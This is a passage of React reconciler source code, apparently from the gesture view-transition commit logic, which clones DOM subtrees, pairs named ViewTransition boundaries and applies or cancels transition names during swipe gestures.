// check if it's in the viewport and if not skip the pairing.\n        // It would currently cause layout thrash though so if we did that\n        // we need to avoid inserting the root of the cloned trees until\n        // the end.\n\n        // Delete the entry so that we know when we've found all of them\n        // and can stop searching (size reaches zero).\n        // $FlowFixMe[incompatible-use]: Refined by the pair.\n        appearingViewTransitions.delete(name);\n        // The \"old\" instance is actually the one we're inserting.\n        const oldInstance: ViewTransitionState = pair;\n        // The \"new\" instance is the already mounted one we're deleting.\n        const newInstance: ViewTransitionState = deletion.stateNode;\n        oldInstance.paired = newInstance;\n        newInstance.paired = oldInstance;\n        const clones = oldInstance.clones;\n        if (clones !== null) {\n          // If we have clones that means that we've already visited this\n          // ViewTransition boundary before and we can now apply the name\n          // to those clones. Otherwise, we have to wait until we clone it.\n          applyViewTransitionToClones(name, className, clones, deletion);\n        }\n      }\n    }\n    // Look for more pairs deeper in the tree.\n    trackDeletedPairViewTransitions(deletion);\n  } else if ((deletion.subtreeFlags & ViewTransitionStatic) !== NoFlags) {\n    let child = deletion.child;\n    while (child !== null) {\n      trackEnterViewTransitions(child);\n      child = child.sibling;\n    }\n  } else {\n    trackDeletedPairViewTransitions(deletion);\n  }\n}\n\nfunction applyAppearingPairViewTransition(child: Fiber): void {\n  // Normally these helpers do recursive calls but since insertion/offscreen is forked\n  // we call this helper from those loops instead. This must be called only on\n  // ViewTransitionComponent that has already had their clones filled.\n  if ((child.flags & ViewTransitionNamedStatic) !== NoFlags) {\n    const state: ViewTransitionState = child.stateNode;\n    // If this is not yet paired, it doesn't mean that we won't pair it later when\n    // we find the deletion side. If that's the case then we'll add the names to\n    // the clones then.\n    if (state.paired) {\n      const props: ViewTransitionProps = child.memoizedProps;\n      if (props.name == null || props.name === 'auto') {\n        throw new Error(\n          'Found a pair with an auto name. This is a bug in React.',\n        );\n      }\n      const name = props.name;\n      // Note that this class name that doesn't actually really matter because the\n      // \"new\" side will be the one that wins in practice.\n      const className: ?string = getViewTransitionClassName(\n        props.default,\n        props.share,\n      );\n      if (className !== 'none') {\n        const clones = state.clones;\n        // If there are no clones at this point, that should mean that there are no\n        // HostComponent children in this ViewTransition.\n        if (clones !== null) {\n          applyViewTransitionToClones(name, className, clones, child);\n        }\n        scheduleGestureTransitionEvent(child, props.onGestureShare);\n      }\n    }\n  }\n}\n\nfunction applyExitViewTransition(placement: Fiber): void {\n  // Normally these helpers do recursive calls but since insertion/offscreen is forked\n  // we call this helper from those loops instead. This must be called only on\n  // ViewTransitionComponent that has already had their clones filled.\n  const state: ViewTransitionState = placement.stateNode;\n  const props: ViewTransitionProps = placement.memoizedProps;\n  const name = getViewTransitionName(props, state);\n  const className: ?string = getViewTransitionClassName(\n    props.default,\n    // Note that just because we don't have a pair yet doesn't mean we won't find one\n    // later. However, that doesn't matter because if we do the class name that wins\n    // is the one applied by the \"new\" side anyway.\n    state.paired ? props.share : props.exit,\n  );\n  if (className !== 'none') {\n    // TODO: Ideally we could determine if this exit is in the viewport and\n    // exclude it otherwise but that would require waiting until we insert\n    // and layout the clones first. Currently wait until the view transition\n    // starts before reading the layout.\n    const clones = state.clones;\n    // If there are no clones at this point, that should mean that there are no\n    // HostComponent children in this ViewTransition.\n    if (clones !== null) {\n      applyViewTransitionToClones(name, className, clones, placement);\n    }\n    if (state.paired) {\n      scheduleGestureTransitionEvent(placement, props.onGestureShare);\n    } else {\n      scheduleGestureTransitionEvent(placement, props.onGestureExit);\n    }\n  }\n}\n\nfunction applyNestedViewTransition(child: Fiber): void {\n  const state: ViewTransitionState = child.stateNode;\n  const props: ViewTransitionProps = child.memoizedProps;\n  const name = getViewTransitionName(props, state);\n  const className: ?string = getViewTransitionClassName(\n    props.default,\n    props.update,\n  );\n  if (className !== 'none') {\n    const clones = state.clones;\n    // If there are no clones at this point, that should mean that there are no\n    // HostComponent children in this ViewTransition.\n    if (clones !== null) {\n      applyViewTransitionToClones(name, className, clones, child);\n    }\n  }\n}\n\nfunction applyUpdateViewTransition(current: Fiber, finishedWork: Fiber): void {\n  const state: ViewTransitionState = finishedWork.stateNode;\n  // Updates can have conflicting names and classNames.\n  // Since we're doing a reverse animation the \"new\" state is actually the current\n  // and the \"old\" state is the finishedWork.\n  const newProps: ViewTransitionProps = current.memoizedProps;\n  const oldProps: ViewTransitionProps = finishedWork.memoizedProps;\n  const oldName = getViewTransitionName(oldProps, state);\n  // This className applies only if there are fewer child DOM nodes than\n  // before or if this update should've been cancelled but we ended up with\n  // a parent animating so we need to animate the child too. Otherwise\n  // the \"new\" state wins. Since \"new\" normally wins, that's usually what\n  // we would use. However, since this animation is going in reverse we actually\n  // want the props from \"current\" since that's the class that would've won if\n  // it was the normal direction. To preserve the same effect in either direction.\n  const className: ?string = getViewTransitionClassName(\n    newProps.default,\n    newProps.update,\n  );\n  if (className === 'none') {\n    // If update is \"none\" then we don't have to apply a name. Since we won't animate this boundary.\n    return;\n  }\n  const clones = state.clones;\n  // If there are no clones at this point, that should mean that there are no\n  // HostComponent children in this ViewTransition.\n  if (clones !== null) {\n    applyViewTransitionToClones(oldName, className, clones, finishedWork);\n  }\n}\n\nfunction recursivelyInsertNew(\n  parentFiber: Fiber,\n  hostParentClone: Instance,\n  parentViewTransition: null | ViewTransitionState,\n  visitPhase: VisitPhase,\n): void {\n  if (\n    visitPhase === INSERT_APPEARING_PAIR &&\n    parentViewTransition === null &&\n    (parentFiber.subtreeFlags & (ViewTransitionNamedStatic | Placement)) ===\n      NoFlags\n  ) {\n    // We're just searching for pairs or insertion effects but we have reached the end.\n    return;\n  }\n  let child = parentFiber.child;\n  while (child !== null) {\n    recursivelyInsertNewFiber(\n      child,\n      hostParentClone,\n      parentViewTransition,\n      visitPhase,\n    );\n    child = child.sibling;\n  }\n}\n\nfunction recursivelyInsertNewFiber(\n  finishedWork: Fiber,\n  hostParentClone: Instance,\n  parentViewTransition: null | ViewTransitionState,\n  visitPhase: VisitPhase,\n): void {\n  switch (finishedWork.tag) {\n    case FunctionComponent:\n    case ForwardRef:\n    case MemoComponent:\n    case SimpleMemoComponent: {\n      recursivelyInsertNew(\n        finishedWork,\n        hostParentClone,\n        parentViewTransition,\n        visitPhase,\n      );\n      if (finishedWork.flags & Update) {\n        // Insertion Effects are mounted temporarily during the rendering of the snapshot.\n        // This does not affect cloned Offscreen content since those would've been mounted\n        // while inside the offscreen tree already.\n        // Note that because we are mounting a clone of the DOM tree and the previous DOM\n        // tree remains mounted during the snapshot, we can't unmount any previous insertion\n        // effects. This can lead to conflicts but that is similar to what can happen with\n        // conflicts for two mounted Activity boundaries.\n        commitHookEffectListMount(HookInsertion | HookHasEffect, finishedWork);\n      }\n      break;\n    }\n    case HostHoistable: {\n      if (supportsResources) {\n        // TODO: Hoistables should get optimistically inserted and then removed.\n        recursivelyInsertNew(\n          finishedWork,\n          hostParentClone,\n          parentViewTransition,\n          visitPhase,\n        );\n        break;\n      }\n      // Fall through\n    }\n    case HostSingleton: {\n      if (supportsSingletons) {\n        recursivelyInsertNew(\n          finishedWork,\n          hostParentClone,\n          parentViewTransition,\n          visitPhase,\n        );\n\n        if (__DEV__) {\n          // We cannot apply mutations to Host Singletons since by definition\n          // they cannot be cloned. Therefore we warn in DEV if this commit\n          // had any effect.\n          if (finishedWork.flags & Update) {\n            console.error(\n              'startGestureTransition() caused something to render a new <%s>. ' +\n                'This is not possible in the current implementation. ' +\n                \"Make sure that the swipe doesn't mount any new <%s> elements.\",\n              finishedWork.type,\n              finishedWork.type,\n            );\n          }\n        }\n        break;\n      }\n      // Fall through\n    }\n    case HostComponent: {\n      const instance: Instance = finishedWork.stateNode;\n      // For insertions we don't need to clone. It's already new state node.\n      if (visitPhase !== INSERT_APPEARING_PAIR) {\n        appendChild(hostParentClone, instance);\n        trackHostMutation();\n        recursivelyInsertNew(\n          finishedWork,\n          instance,\n          null,\n          INSERT_APPEARING_PAIR,\n        );\n      } else {\n        recursivelyInsertNew(finishedWork, instance, null, visitPhase);\n      }\n      if (parentViewTransition !== null) {\n        if (parentViewTransition.clones === null) {\n          parentViewTransition.clones = [instance];\n        } else {\n          parentViewTransition.clones.push(instance);\n        }\n      }\n      break;\n    }\n    case HostText: {\n      const textInstance: TextInstance = finishedWork.stateNode;\n      if (textInstance === null) {\n        throw new Error(\n          'This should have a text node initialized. This error is likely ' +\n            'caused by a bug in React. Please file an issue.',\n        );\n      }\n      // For insertions we don't need to clone. It's already new state node.\n      if (visitPhase !== INSERT_APPEARING_PAIR) {\n        appendChild(hostParentClone, textInstance);\n        trackHostMutation();\n      }\n      break;\n    }\n    case HostPortal: {\n      // TODO: Consider what should happen to Portals. For now we exclude them.\n      break;\n    }\n    case OffscreenComponent: {\n      const newState: OffscreenState | null = finishedWork.memoizedState;\n      const isHidden = newState !== null;\n      if (!isHidden) {\n        // Only insert nodes if this tree is going to be visible. No need to\n        // insert invisible content.\n        // Since there was no mutation to this node, it couldn't have changed\n        // visibility so we don't need to update visitPhase here.\n        recursivelyInsertNew(\n          finishedWork,\n          hostParentClone,\n          parentViewTransition,\n          visitPhase,\n        );\n      }\n      break;\n    }\n    case ViewTransitionComponent:\n      const prevMutationContext = pushMutationContext();\n      const viewTransitionState: ViewTransitionState = finishedWork.stateNode;\n      // TODO: If this was already cloned by a previous pass we can reuse those clones.\n      viewTransitionState.clones = null;\n      let nextPhase: VisitPhase;\n      if (visitPhase === INSERT_EXIT) {\n        // This was an Enter of a ViewTransition. We now move onto inserting the inner\n        // HostComponents and finding inner pairs.\n        nextPhase = INSERT_APPEND;\n      } else {\n        nextPhase = visitPhase;\n      }\n      recursivelyInsertNew(\n        finishedWork,\n        hostParentClone,\n        viewTransitionState,\n        nextPhase,\n      );\n      // After we've inserted the new nodes into the \"clones\" set we can apply share\n      // or exit transitions to them.\n      if (visitPhase === INSERT_EXIT) {\n        applyExitViewTransition(finishedWork);\n      } else if (\n        visitPhase === INSERT_APPEARING_PAIR ||\n        visitPhase === INSERT_APPEND\n      ) {\n        applyAppearingPairViewTransition(finishedWork);\n      }\n      popMutationContext(prevMutationContext);\n      break;\n    default: {\n      recursivelyInsertNew(\n        finishedWork,\n        hostParentClone,\n        parentViewTransition,\n        visitPhase,\n      );\n      break;\n    }\n  }\n}\n\nfunction recursivelyInsertClonesFromExistingTree(\n  parentFiber: Fiber,\n  hostParentClone: Instance,\n  parentViewTransition: null | ViewTransitionState,\n  visitPhase: VisitPhase,\n): void {\n  let child = parentFiber.child;\n  while (child !== null) {\n    switch (child.tag) {\n      case HostComponent: {\n        const instance: Instance = child.stateNode;\n        let nextPhase: VisitPhase;\n        switch (visitPhase) {\n          case CLONE_EXIT:\n          case CLONE_UNHIDE:\n          case CLONE_APPEARING_PAIR:\n            // If this was an unhide, we need to keep going if there are any named\n            // pairs in this subtree, since they might need to be marked.\n            nextPhase =\n              (child.subtreeFlags & ViewTransitionNamedStatic) !== NoFlags\n                ? CLONE_APPEARING_PAIR\n                : CLONE_UNCHANGED;\n            break;\n          default:\n            // We've found any \"layout\" View Transitions at this point so we can bail.\n            nextPhase = CLONE_UNCHANGED;\n        }\n        let clone: Instance;\n        if (nextPhase !== CLONE_UNCHANGED) {\n          // We might need a handle on these clones, so we need to do a shallow clone\n          // and keep going.\n          clone = cloneMutableInstance(instance, false);\n          recursivelyInsertClonesFromExistingTree(\n            child,\n            clone,\n            null,\n            nextPhase,\n          );\n        } else {\n          // If we have no mutations in this subtree, and we don't need a handle on the\n          // clones, then we can do a deep clone instead and bailout.\n          clone = cloneMutableInstance(instance, true);\n          // TODO: We may need to transfer some DOM state such as scroll position\n          // for the deep clones.\n          // TODO: If there's a manual view-transition-name inside the clone we\n          // should ideally remove it from the original and then restore it in mutation\n          // phase. Otherwise it leads to duplicate names.\n        }\n        appendChild(hostParentClone, clone);\n        if (parentViewTransition !== null) {\n          if (parentViewTransition.clones === null) {\n            parentViewTransition.clones = [clone];\n          } else {\n            parentViewTransition.clones.push(clone);\n          }\n        }\n        if (visitPhase === CLONE_EXIT || visitPhase === CLONE_UNHIDE) {\n          unhideInstance(clone, child.memoizedProps);\n          trackHostMutation();\n        }\n        break;\n      }\n      case HostText: {\n        const textInstance: TextInstance = child.stateNode;\n        if (textInstance === null) {\n          throw new Error(\n            'This should have a text node initialized. This error is likely ' +\n              'caused by a bug in React. Please file an issue.',\n          );\n        }\n        const clone = cloneMutableTextInstance(textInstance);\n        appendChild(hostParentClone, clone);\n        if (visitPhase === CLONE_EXIT || visitPhase === CLONE_UNHIDE) {\n          unhideTextInstance(clone, child.memoizedProps);\n          trackHostMutation();\n        }\n        break;\n      }\n      case HostPortal: {\n        // TODO: Consider what should happen to Portals. For now we exclude them.\n        break;\n      }\n      case OffscreenComponent: {\n        const newState: OffscreenState | null = child.memoizedState;\n        const isHidden = newState !== null;\n        if (!isHidden) {\n          // Only insert clones if this tree is going to be visible. No need to\n          // clone invisible content.\n          // TODO: If this is visible but detached it should still be cloned.\n          // Since there was no mutation to this node, it couldn't have changed\n          // visibility so we don't need to update visitPhase here.\n          recursivelyInsertClonesFromExistingTree(\n            child,\n            hostParentClone,\n            parentViewTransition,\n            visitPhase,\n          );\n        }\n        break;\n      }\n      case ViewTransitionComponent:\n        const prevMutationContext = pushMutationContext();\n        const viewTransitionState: ViewTransitionState = child.stateNode;\n        // TODO: If this was already cloned by a previous pass we can reuse those clones.\n        viewTransitionState.clones = null;\n        // \"Existing\" view transitions are in subtrees that didn't update so\n        // this is a \"current\". We normally clear this upon rerendering\n        // but we use this flag to track changes from layout in the commit.\n        // So we need it to be cleared before we do that.\n        // TODO: Use some other temporary state to track this.\n        child.flags &= ~Update;\n        let nextPhase: VisitPhase;\n        if (visitPhase === CLONE_EXIT) {\n          // This was an Enter of a ViewTransition. We now move onto unhiding the inner\n          // HostComponents and finding inner pairs.\n          nextPhase = CLONE_UNHIDE;\n          // TODO: Mark the name and find a pair.\n        } else if (visitPhase === CLONE_UPDATE) {\n          // If the tree had no mutations and we've found the top most ViewTransition\n          // then this is the one we might apply the \"layout\" state too if it has changed\n          // position. After we've found its HostComponents we can bail out.\n          nextPhase = CLONE_UNCHANGED;\n        } else {\n          nextPhase = visitPhase;\n        }\n        recursivelyInsertClonesFromExistingTree(\n          child,\n          hostParentClone,\n          viewTransitionState,\n          nextPhase,\n        );\n        // After we've collected the cloned instances, we can apply exit or share transitions\n        // to them.\n        if (visitPhase === CLONE_EXIT) {\n          applyExitViewTransition(child);\n        } else if (\n          visitPhase === CLONE_APPEARING_PAIR ||\n          visitPhase === CLONE_UNHIDE\n        ) {\n          applyAppearingPairViewTransition(child);\n        } else if (visitPhase === CLONE_UPDATE) {\n          applyNestedViewTransition(child);\n        }\n        popMutationContext(prevMutationContext);\n        break;\n      default: {\n        recursivelyInsertClonesFromExistingTree(\n          child,\n          hostParentClone,\n          parentViewTransition,\n          visitPhase,\n        );\n        break;\n      }\n    }\n    child = child.sibling;\n  }\n}\n\nfunction recursivelyInsertClones(\n  parentFiber: Fiber,\n  hostParentClone: Instance,\n  parentViewTransition: null | ViewTransitionState,\n  visitPhase: VisitPhase,\n) {\n  const deletions = parentFiber.deletions;\n  if (deletions !== null) {\n    for (let i = 0; i < deletions.length; i++) {\n      const childToDelete = deletions[i];\n      trackEnterViewTransitions(childToDelete);\n      // Normally we would only mark something as triggering a mutation if there was\n      // actually a HostInstance below here. If this tree didn't contain a HostInstances\n      // we shouldn't trigger a mutation even though a virtual component was deleted.\n      trackHostMutation();\n    }\n  }\n\n  if (\n    parentFiber.alternate === null ||\n    (parentFiber.subtreeFlags & MutationMask) !== NoFlags\n  ) {\n    // If we have mutations or if this is a newly inserted tree, clone as we go.\n    let child = parentFiber.child;\n    while (child !== null) {\n      insertDestinationClonesOfFiber(\n        child,\n        hostParentClone,\n        parentViewTransition,\n        visitPhase,\n      );\n      child = child.sibling;\n    }\n  } else {\n    // Once we reach a subtree with no more mutations we can bail out.\n    // However, we must still insert deep clones of the HostComponents.\n    recursivelyInsertClonesFromExistingTree(\n      parentFiber,\n      hostParentClone,\n      parentViewTransition,\n      visitPhase,\n    );\n  }\n}\n\nfunction insertDestinationClonesOfFiber(\n  finishedWork: Fiber,\n  hostParentClone: Instance,\n  parentViewTransition: null | ViewTransitionState,\n  visitPhase: VisitPhase,\n) {\n  const current = finishedWork.alternate;\n  if (current === null) {\n    // This is a newly mounted subtree. Insert any HostComponents and trigger\n    // Enter transitions.\n    recursivelyInsertNewFiber(\n      finishedWork,\n      hostParentClone,\n      parentViewTransition,\n      INSERT_EXIT,\n    );\n    return;\n  }\n\n  const flags = finishedWork.flags;\n  // The effect flag should be checked *after* we refine the type of fiber,\n  // because the fiber tag is more specific. An exception is any flag related\n  // to reconciliation, because those can be set on all fiber types.\n  switch (finishedWork.tag) {\n    case HostHoistable: {\n      if (supportsResources) {\n        // TODO: Hoistables should get optimistically inserted and then removed.\n        recursivelyInsertClones(\n          finishedWork,\n          hostParentClone,\n          parentViewTransition,\n          visitPhase,\n        );\n        break;\n      }\n      // Fall through\n    }\n    case HostSingleton: {\n      if (supportsSingletons) {\n        recursivelyInsertClones(\n          finishedWork,\n          hostParentClone,\n          parentViewTransition,\n          visitPhase,\n        );\n        if (__DEV__) {\n          // We cannot apply mutations to Host Singletons since by definition\n          // they cannot be cloned. Therefore we warn in DEV if this commit\n          // had any effect.\n          if (flags & Update) {\n            const newProps = finishedWork.memoizedProps;\n            const oldProps = current.memoizedProps;\n            const instance = finishedWork.stateNode;\n            const type = finishedWork.type;\n            const prev = pushMutationContext();\n\n            try {\n              // Since we currently don't have a separate diffing algorithm for\n              // individual properties, the Update flag can be a false positive.\n              // We have to apply the new props first o detect any mutations and\n              // then revert them.\n              commitUpdate(instance, type, oldProps, newProps, finishedWork);\n              if (viewTransitionMutationContext) {\n                console.error(\n                  'startGestureTransition() caused something to mutate <%s>. ' +\n                    'This is not possible in the current implementation. ' +\n                    \"Make sure that the swipe doesn't update any state which \" +\n                    'causes <%s> to change.',\n                  finishedWork.type,\n                  finishedWork.type,\n                );\n              }\n              // Revert\n              commitUpdate(instance, type, newProps, oldProps, finishedWork);\n            } finally {\n              popMutationContext(prev);\n            }\n          }\n        }\n        break;\n      }\n      // Fall through\n    }\n    case HostComponent: {\n      const instance: Instance = finishedWork.stateNode;\n      let clone: Instance;\n      if (finishedWork.child === null) {\n        // This node is terminal. We still do a deep clone in case this has user\n        // inserted content, text content or dangerouslySetInnerHTML.\n        clone = cloneMutableInstance(instance, true);\n        if (finishedWork.flags & ContentReset) {\n          resetTextContent(clone);\n          trackHostMutation();\n        }\n      } else {\n        // If we have children we'll clone them as we walk the tree so we just\n        // do a shallow clone here.\n        clone = cloneMutableInstance(instance, false);\n      }\n\n      if (flags & Update) {\n        const newProps = finishedWork.memoizedProps;\n        const oldProps = current.memoizedProps;\n        const type = finishedWork.type;\n        // Apply the delta to the clone.\n        commitUpdate(clone, type, oldProps, newProps, finishedWork);\n      }\n\n      if (visitPhase === CLONE_EXIT || visitPhase === CLONE_UNHIDE) {\n        appendChild(hostParentClone, clone);\n        unhideInstance(clone, finishedWork.memoizedProps);\n        recursivelyInsertClones(\n          finishedWork,\n          clone,\n          null,\n          CLONE_APPEARING_PAIR,\n        );\n        trackHostMutation();\n      } else {\n        appendChild(hostParentClone, clone);\n        recursivelyInsertClones(finishedWork, clone, null, visitPhase);\n      }\n      if (parentViewTransition !== null) {\n        if (parentViewTransition.clones === null) {\n          parentViewTransition.clones = [clone];\n        } else {\n          parentViewTransition.clones.push(clone);\n        }\n      }\n      break;\n    }\n    case HostText: {\n      const textInstance: TextInstance = finishedWork.stateNode;\n      if (textInstance === null) {\n        throw new Error(\n          'This should have a text node initialized. This error is likely ' +\n            'caused by a bug in React. Please file an issue.',\n        );\n      }\n      const clone = cloneMutableTextInstance(textInstance);\n      if (flags & Update) {\n        const newText: string = finishedWork.memoizedProps;\n        const oldText: string = current.memoizedProps;\n        commitTextUpdate(clone, newText, oldText);\n        trackHostMutation();\n      }\n      appendChild(hostParentClone, clone);\n      if (visitPhase === CLONE_EXIT || visitPhase === CLONE_UNHIDE) {\n        unhideTextInstance(clone, finishedWork.memoizedProps);\n        trackHostMutation();\n      }\n      break;\n    }\n    case HostPortal: {\n      // TODO: Consider what should happen to Portals. For now we exclude them.\n      break;\n    }\n    case OffscreenComponent: {\n      const newState: OffscreenState | null = finishedWork.memoizedState;\n      const isHidden = newState !== null;\n      if (!isHidden) {\n        // Only insert clones if this tree is going to be visible. No need to\n        // clone invisible content.\n        // TODO: If this is visible but detached it should still be cloned.\n        let nextPhase: VisitPhase;\n        if (visitPhase === CLONE_UPDATE && (flags & Visibility) !== NoFlags) {\n          // This is the root of an appear. We need to trigger Enter transitions.\n          nextPhase = CLONE_EXIT;\n        } else {\n          nextPhase = visitPhase;\n        }\n        recursivelyInsertClones(\n          finishedWork,\n          hostParentClone,\n          parentViewTransition,\n          nextPhase,\n        );\n      } else if (current !== null && current.memoizedState === null) {\n        // Was previously mounted as visible but is now hidden.\n        trackEnterViewTransitions(current);\n        // Normally we would only mark something as triggering a mutation if there was\n        // actually a HostInstance below here. If this tree didn't contain a HostInstances\n        // we shouldn't trigger a mutation even though a virtual component was hidden.\n        trackHostMutation();\n      }\n      break;\n    }\n    case ViewTransitionComponent:\n      const prevMutationContext = pushMutationContext();\n      const viewTransitionState: ViewTransitionState = finishedWork.stateNode;\n      // TODO: If this was already cloned by a previous pass we can reuse those clones.\n      viewTransitionState.clones = null;\n      let nextPhase: VisitPhase;\n      if (visitPhase === CLONE_EXIT) {\n        // This was an Enter of a ViewTransition. We now move onto unhiding the inner\n        // HostComponents and finding inner pairs.\n        nextPhase = CLONE_UNHIDE;\n        // TODO: Mark the name and find a pair.\n      } else {\n        nextPhase = visitPhase;\n      }\n      recursivelyInsertClones(\n        finishedWork,\n        hostParentClone,\n        viewTransitionState,\n        nextPhase,\n      );\n      if (viewTransitionMutationContext) {\n        // Track that this boundary had a mutation and therefore needs to animate\n        // whether it resized or not.\n        finishedWork.flags |= Update;\n      }\n      // After we've collected the cloned instances, we can apply exit or share transitions\n      // to them.\n      if (visitPhase === CLONE_EXIT) {\n        applyExitViewTransition(finishedWork);\n      } else if (\n        visitPhase === CLONE_APPEARING_PAIR ||\n        visitPhase === CLONE_UNHIDE\n      ) {\n        applyAppearingPairViewTransition(finishedWork);\n      } else if (visitPhase === CLONE_UPDATE) {\n        applyUpdateViewTransition(current, finishedWork);\n      }\n      popMutationContext(prevMutationContext);\n      break;\n    default: {\n      recursivelyInsertClones(\n        finishedWork,\n        hostParentClone,\n        parentViewTransition,\n        visitPhase,\n      );\n      break;\n    }\n  }\n}\n\n// Clone View Transition boundaries that have any mutations or might have had their\n// layout affected by child insertions.\nexport function insertDestinationClones(\n  root: FiberRoot,\n  finishedWork: Fiber,\n): void {\n  // We'll either not transition the root, or we'll transition the clone. Regardless\n  // we cancel the root view transition name.\n  const needsClone = detectMutationOrInsertClones(finishedWork);\n  if (needsClone) {\n    // Clone the whole root\n    const rootClone = cloneRootViewTransitionContainer(root.containerInfo);\n    root.gestureClone = rootClone;\n    recursivelyInsertClones(finishedWork, rootClone, null, CLONE_UPDATE);\n  } else {\n    root.gestureClone = null;\n    cancelRootViewTransitionName(root.containerInfo);\n  }\n}\n\nfunction measureExitViewTransitions(placement: Fiber): void {\n  if (placement.tag === ViewTransitionComponent) {\n    // const state: ViewTransitionState = placement.stateNode;\n    const props: ViewTransitionProps = placement.memoizedProps;\n    const name = props.name;\n    if (name != null && name !== 'auto') {\n      // TODO: Find a pair\n    }\n  } else if ((placement.subtreeFlags & ViewTransitionStatic) !== NoFlags) {\n    // TODO: Check if this is a hidden Offscreen or a Portal.\n    let child = placement.child;\n    while (child !== null) {\n      measureExitViewTransitions(child);\n      child = child.sibling;\n    }\n  } else {\n    // We don't need to find pairs here because we would've already found and\n    // measured the pairs inside the deletion phase.\n  }\n}\n\nfunction recursivelyRestoreNew(\n  finishedWork: Fiber,\n  nearestMountedAncestor: Fiber,\n): void {\n  // There has to be move a Placement AND an Update flag somewhere below for this\n  // pass to be relevant since we only apply insertion effects for new components here.\n  if (((Placement | Update) & finishedWork.subtreeFlags) !== NoFlags) {\n    let child = finishedWork.child;\n    while (child !== null) {\n      recursivelyRestoreNew(child, nearestMountedAncestor);\n      child = child.sibling;\n    }\n  }\n  switch (finishedWork.tag) {\n    case FunctionComponent:\n    case ForwardRef:\n    case MemoComponent:\n    case SimpleMemoComponent: {\n      const current = finishedWork.alternate;\n      if (current === null && finishedWork.flags & Update) {\n        // Insertion Effects are mounted temporarily during the rendering of the snapshot.\n        // We have now already takes a snapshot of the inserted state so we can now unmount\n        // them to get back into the original state before starting the animation.\n        commitHookEffectListUnmount(\n          HookInsertion | HookHasEffect,\n          finishedWork,\n          nearestMountedAncestor,\n        );\n      }\n      break;\n    }\n  }\n}\n\nfunction recursivelyApplyViewTransitions(parentFiber: Fiber) {\n  const deletions = parentFiber.deletions;\n  if (deletions !== null) {\n    for (let i = 0; i < deletions.length; i++) {\n      const childToDelete = deletions[i];\n      commitEnterViewTransitions(childToDelete, true);\n    }\n  }\n\n  if (\n    parentFiber.alternate === null ||\n    (parentFiber.subtreeFlags & MutationMask) !== NoFlags\n  ) {\n    // If we have mutations or if this is a newly inserted tree, clone as we go.\n    let child = parentFiber.child;\n    while (child !== null) {\n      const current = child.alternate;\n      if (current === null) {\n        measureExitViewTransitions(child);\n        recursivelyRestoreNew(child, parentFiber);\n      } else {\n        applyViewTransitionsOnFiber(child, current);\n      }\n      child = child.sibling;\n    }\n  } else {\n    // Nothing has changed in this subtree, but the parent may have still affected\n    // its size and position. We need to measure the old and new state to see if\n    // we should animate its size and position.\n    measureNestedViewTransitions(parentFiber, true);\n  }\n}\n\nfunction applyViewTransitionsOnFiber(finishedWork: Fiber, current: Fiber) {\n  // The effect flag should be checked *after* we refine the type of fiber,\n  // because the fiber tag is more specific. An exception is any flag related\n  // to reconciliation, because those can be set on all fiber types.\n  switch (finishedWork.tag) {\n    case HostPortal: {\n      // TODO: Consider what should happen to Portals. For now we exclude them.\n      break;\n    }\n    case OffscreenComponent: {\n      const newState: OffscreenState | null = finishedWork.memoizedState;\n      const isHidden = newState !== null;\n      const wasHidden = current.memoizedState !== null;\n      if (!isHidden) {\n        if (wasHidden) {\n          measureExitViewTransitions(finishedWork);\n          recursivelyRestoreNew(finishedWork, finishedWork);\n        } else {\n          recursivelyApplyViewTransitions(finishedWork);\n        }\n      } else {\n        if (!wasHidden) {\n          // Was previously mounted as visible but is now hidden.\n          commitEnterViewTransitions(current, true);\n        }\n      }\n      break;\n    }\n    case ViewTransitionComponent: {\n      const prevContextChanged = viewTransitionContextChanged;\n      const prevCancelableChildren = pushViewTransitionCancelableScope();\n      viewTransitionContextChanged = false;\n      recursivelyApplyViewTransitions(finishedWork);\n\n      if (viewTransitionContextChanged) {\n        finishedWork.flags |= Update;\n      }\n\n      const inViewport = measureUpdateViewTransition(\n        current,\n        finishedWork,\n        true,\n      );\n\n      if ((finishedWork.flags & Update) === NoFlags || !inViewport) {\n        // If this boundary didn't update, then we may be able to cancel its children.\n        // We bubble them up to the parent set to be determined later if we can cancel.\n        // Similarly, if old and new state was outside the viewport, we can skip it\n        // even if it did update.\n        if (prevCancelableChildren === null) {\n          // Bubbling up this whole set to the parent.\n        } else {\n          // Merge with parent set.\n          // $FlowFixMe[method-unbinding]\n          prevCancelableChildren.push.apply(\n            prevCancelableChildren,\n            viewTransitionCancelableChildren,\n          );\n          popViewTransitionCancelableScope(prevCancelableChildren);\n        }\n        // TODO: If this doesn't end up canceled, because a parent animates,\n        // then we should probably issue an event since this instance is part of it.\n      } else {\n        const props: ViewTransitionProps = finishedWork.memoizedProps;\n        scheduleGestureTransitionEvent(finishedWork, props.onGestureUpdate);\n        // If this boundary did update, we cannot cancel its children so those are dropped.\n        popViewTransitionCancelableScope(prevCancelableChildren);\n      }\n\n      if ((finishedWork.flags & AffectedParentLayout) !== NoFlags) {\n        // This boundary changed size in a way that may have caused its parent to\n        // relayout. We need to bubble this information up to the parent.\n        viewTransitionContextChanged = true;\n      } else {\n        // Otherwise, we restore it to whatever the parent had found so far.\n        viewTransitionContextChanged = prevContextChanged;\n      }\n\n      const viewTransitionState: ViewTransitionState = finishedWork.stateNode;\n      viewTransitionState.clones = null; // Reset\n      break;\n    }\n    default: {\n      recursivelyApplyViewTransitions(finishedWork);\n      break;\n    }\n  }\n}\n\n// Revert insertions and apply view transition names to the \"new\" (current) state.\nexport function applyDepartureTransitions(\n  root: FiberRoot,\n  finishedWork: Fiber,\n): void {\n  // First measure and apply view-transition-names to the \"new\" states.\n  viewTransitionContextChanged = false;\n  pushViewTransitionCancelableScope();\n\n  recursivelyApplyViewTransitions(finishedWork);\n\n  // Then remove the clones.\n  const rootClone = root.gestureClone;\n  if (rootClone !== null) {\n    root.gestureClone = null;\n    removeRootViewTransitionClone(root.containerInfo, rootClone);\n  }\n\n  if (!viewTransitionContextChanged) {\n    // If we didn't leak any resizing out to the root, we don't have to transition\n    // the root itself. This means that we can now safely cancel any cancellations\n    // that bubbled all the way up.\n    const cancelableChildren = viewTransitionCancelableChildren;\n    if (cancelableChildren !== null) {\n      for (let i = 0; i < cancelableChildren.length; i += 3) {\n        cancelViewTransitionName(\n          ((cancelableChildren[i]: any): Instance),\n          ((cancelableChildren[i + 1]: any): string),\n          ((cancelableChildren[i + 2]: any): Props),\n        );\n      }\n    }\n    // We also cancel the root itself. First we restore the name to the documentElement\n    // and then we cancel it.\n    restoreRootViewTransitionName(root.containerInfo);\n    cancelRootViewTransitionName(root.containerInfo);\n  }\n  popViewTransitionCancelableScope(null);\n}\n\nfunction recursivelyRestoreViewTransitions(parentFiber: Fiber) 